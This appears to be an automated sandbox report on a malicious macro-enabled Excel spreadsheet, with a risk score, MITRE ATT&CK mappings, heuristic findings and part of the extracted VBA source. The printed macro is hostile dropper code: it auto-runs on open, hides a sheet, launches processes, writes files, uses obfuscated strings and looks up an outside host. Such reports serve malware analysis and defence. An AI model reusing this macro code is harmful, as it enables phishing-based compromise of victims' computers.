MALICIOUS
396
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1105 Ingress Tool Transfer
The sample is a macro-enabled Excel spreadsheet that triggers a Workbook_Open macro. This macro is designed to execute an embedded PE executable, likely for further malicious activity. The presence of CreateProcess and LoadLibrary API calls, along with the embedded executable, strongly suggests a downloader or dropper functionality.
Heuristics 11
-
XOR-encoded strings (key 0x57) critical SC_XOR_ENCODEDFound 1 Windows library/API name(s) XOR-encoded with single-byte key 0x57: 'kernel32.dll'
Disassembly
Attempted x86 opcode disassembly000289AD 3c32 cmp al, 0x32 000289AF 2539323b64 and eax, 0x643b3239 000289B4 657933 jns 0x289ea 000289B7 3b3b cmp edi, dword ptr [ebx] 000289B9 57 push edi 000289BA 0000 add byte ptr [eax], al 000289BC 57 push edi 000289BD 3923 cmp dword ptr [ebx], esp 000289BF 333b xor edi, dword ptr [ebx] 000289C1 3b7933 cmp edi, dword ptr [ecx + 0x33] 000289C4 3b3b cmp edi, dword ptr [ebx] 000289C6 57 push edi 000289C7 0000 add byte ptr [eax], al 000289C9 0000 add byte ptr [eax], al 000289CB 005700 add byte ptr [edi], dl 000289CE 2400 and al, 0 000289D0 2300 and eax, dword ptr [eax] 000289D2 3800 cmp byte ptr [eax], al 000289D4 35003d0032 xor eax, 0x32003d00 000289D9 003400 add byte ptr [eax + eax], dh 000289DC 2300 and eax, dword ptr [eax] 000289DE 7900 jns 0x289e0 000289E0 3300 xor eax, dword ptr [eax] 000289E2 3b00 cmp eax, dword ptr [eax] 000289E4 3b00 cmp eax, dword ptr [eax] 000289E6 57 push edi 000289E7 0000 add byte ptr [eax], al 000289E9 0000 add byte ptr [eax], al 000289EB 002500000025 add byte ptr [0x25000000], ah 000289F1 0000 add byte ptr [eax], al 000289F3 002500000025 add byte ptr [0x25000000], ah 000289F9 0000 add byte ptr [eax], al 000289FB 0030 add byte ptr [eax], dh 000289FD 652b30 sub esi, dword ptr gs:[eax] 00028A00 3000 xor byte ptr [eax], al 00028A02 0000 add byte ptr [eax], al 00028A04 30652b xor byte ptr [ebp + 0x2b], ah 00028A07 3030 xor byte ptr [eax], dh 00028A09 0000 add byte ptr [eax], al 00028A0B 00 .byte 0x00 00028A0C 69 .byte 0x69
-
Embedded PE executable critical OLE_EMBEDDED_EXEMZ/PE header found inside document — possible embedded executable
-
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
-
Reference to LoadLibrary API high SC_STR_LOADLIBRARYReference to LoadLibrary API
-
Reference to GetProcAddress API high SC_STR_GETPROCADDRESSReference to GetProcAddress API
-
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
clnam = "Scri" & prif & "ileSyst" & uhbvfr Set fso = CreateObject(clnam) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open() On Error Resume Next -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
tf = VBA.Environ(tf) s32 = s32 & StrReverse(twt & "mets")
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 63817 bytes |
SHA-256: 529e0d195b5312bdfa11531df46078e696ea33f52d40b096de84a0cf9cd856e9 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
#If Win64 = 1 Or Win32 = 1 Then
#Else
Exit Sub
#End If
clr
ThisWorkbook.Save
End Sub
Private Sub Workbook_Open()
On Error Resume Next
ThisWorkbook.Sheets(1).Visible = 2
chk = 0
flr = 0
gse
If flr = 0 Then
ost
End If
u
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Public Sub u1(exec As String)
Dim tkis As jlop
With tkis
.cb = LenB(tkis)
.dF = SUq Or SUHq
.wSW = SHq
End With
Dim wd As String
Dim tkas_kip As pgot
Dim r As Long
r = Neibq(0&, StrPtr(VBA.StrReverse(exec)), 0&, 0&, True, 0&, ByVal 0&, StrPtr(wd), tkis, tkas_kip)
WFSO tkas_kip.hP, 17000
End Sub
Public Function wtof(file_path As String, file_bytes() As Byte) As Boolean
Dim res As Boolean
res = False
Dim createFile_kas As lorex
createFile_kas.nL = Len(createFile_kas)
createFile_kas.lSD = 0&
createFile_kas.bIH = True
#If VBA7 Then
Dim file_handle As LongPtr
#Else
Dim file_handle As Long
#End If
file_handle = WiCrFl(StrPtr(file_path), GWq, FSRq, createFile_kas, CAq, FANq, ByVal 0&)
If file_handle <= 0& Then
wtof = res
Exit Function
End If
Dim b_write As Long
Dim file_bytes_length As Long
file_bytes_length = GetSz(file_bytes)
res = FLw(file_handle, file_bytes(0), file_bytes_length, b_write, ByVal 0&)
Cfl (file_handle)
wtof = res
End Function
Public Sub ost()
On Error Resume Next
Dim tkis As jlop
With tkis
.cb = LenB(tkis)
.dF = SUq Or SUHq
.wSW = SHq
End With
Dim wd As String
Dim tkas_kip As pgot
Dim r As Integer
Dim grs As String
getGrs grs
r = Neibq(0&, StrPtr(grs), 0&, 0&, True, 0&, ByVal 0&, StrPtr(wd), tkis, tkas_kip)
ThisWorkbook.Sheets(1).Range("Z102").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z102").offset(0, 0).Value & " " & r
End Sub
Public Sub asd()
If chk = 14 Then
End If
reflux
t1 exec1
End Sub
Attribute VB_Name = "Module2"
Public Sub ini0()
Dim clnam As String
clnam = "Scri" & prif & "ileSyst" & uhbvfr
Set fso = CreateObject(clnam)
s32 = "sy"
tf = "t" & te
tfs
End Sub
Public Sub chkin()
Dim hostent_ptr As LongPtr
hostent_ptr = gethostbyname("ingest.filen.io" & Chr$(0))
If hostent_ptr <> 0 Then
chk = chk + 8
End If
End Sub
Public Sub uu()
On Error Resume Next
hc (ThisWorkbook.Sheets(2).Range("C1").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D1").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E1").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F1").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C2").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D2").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E2").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F2").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C3").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D3").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E3").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F3").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C4").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D4").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E4").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F4").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C5").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D5").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E5").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F5").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C6").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D6").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E6").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F6").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C7").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D7").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E7").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F7").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C8").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D8").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E8").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F8").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C9").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D9").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E9").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F9").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C10").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D10").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E10").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F10").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C11").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D11").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E11").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F11").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C12").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D12").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E12").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F12").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C13").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D13").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E13").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F13").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C14").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D14").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E14").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F14").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C15").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D15").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E15").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F15").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C16").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D16").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E16").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F16").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C17").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D17").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E17").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F17").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C18").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D18").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E18").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F18").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C19").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D19").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E19").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F19").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C20").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D20").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E20").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F20").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C21").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D21").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E21").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F21").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C22").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D22").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E22").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F22").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C23").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D23").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E23").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F23").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C24").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D24").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E24").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F24").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C25").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D25").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E25").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F25").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C26").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D26").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E26").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F26").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C27").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D27").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E27").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F27").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C28").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D28").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E28").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F28").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C29").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D29").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E29").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F29").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C30").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D30").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E30").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F30").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C31").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D31").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E31").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F31").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C32").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D32").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E32").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F32").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C33").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D33").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E33").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F33").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C34").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D34").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E34").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F34").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C35").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D35").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E35").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F35").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C36").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D36").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E36").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F36").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C37").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D37").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E37").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F37").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C38").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D38").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E38").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F38").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C39").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D39").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E39").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F39").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C40").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D40").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E40").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F40").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C41").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D41").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E41").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F41").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C42").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D42").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E42").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F42").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C43").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D43").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E43").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F43").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C44").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D44").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E44").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F44").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("C45").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("D45").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("E45").offset(0, 0).Address)
hc (ThisWorkbook.Sheets(2).Range("F45").offset(0, 0).Address)
End Sub
Public Sub tfs()
tf = VBA.Environ(tf)
s32 = s32 & StrReverse(twt & "mets")
End Sub
Attribute VB_Name = "Module3"
Public Sub u()
On Error Resume Next
ThisWorkbook.Sheets(2).Name = ThisWorkbook.Sheets(2).Name & " " & chk
ThisWorkbook.Sheets(1).Range("Z100").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z100").offset(0, 0).Value & Chr(10) & chk & " " & Format(Now, "yy-mm-dd hh:mm:ss")
ThisWorkbook.Sheets(2).Range("C1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C1").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D1").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E1").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F1").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C2").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C2").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D2").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D2").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E2").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E2").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F2").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F2").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C3").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D3").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E3").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F3").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C4").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D4").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E4").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F4").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C5").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D5").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E5").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F5").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C6").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D6").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E6").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F6").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C7").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D7").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E7").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F7").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C8").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D8").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E8").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F8").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C9").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D9").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E9").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F9").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C10").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D10").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E10").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F10").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C11").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D11").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E11").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F11").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C12").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D12").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E12").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F12").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C13").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D13").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E13").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F13").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C14").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D14").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E14").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F14").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C15").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D15").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E15").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F15").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C16").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D16").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E16").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("F16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F16").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("C17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C17").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("D17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D17").offset(0, 0).Value
ThisWorkbook.Sheets(2).Range("E17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E17").offset(0, 0).Value
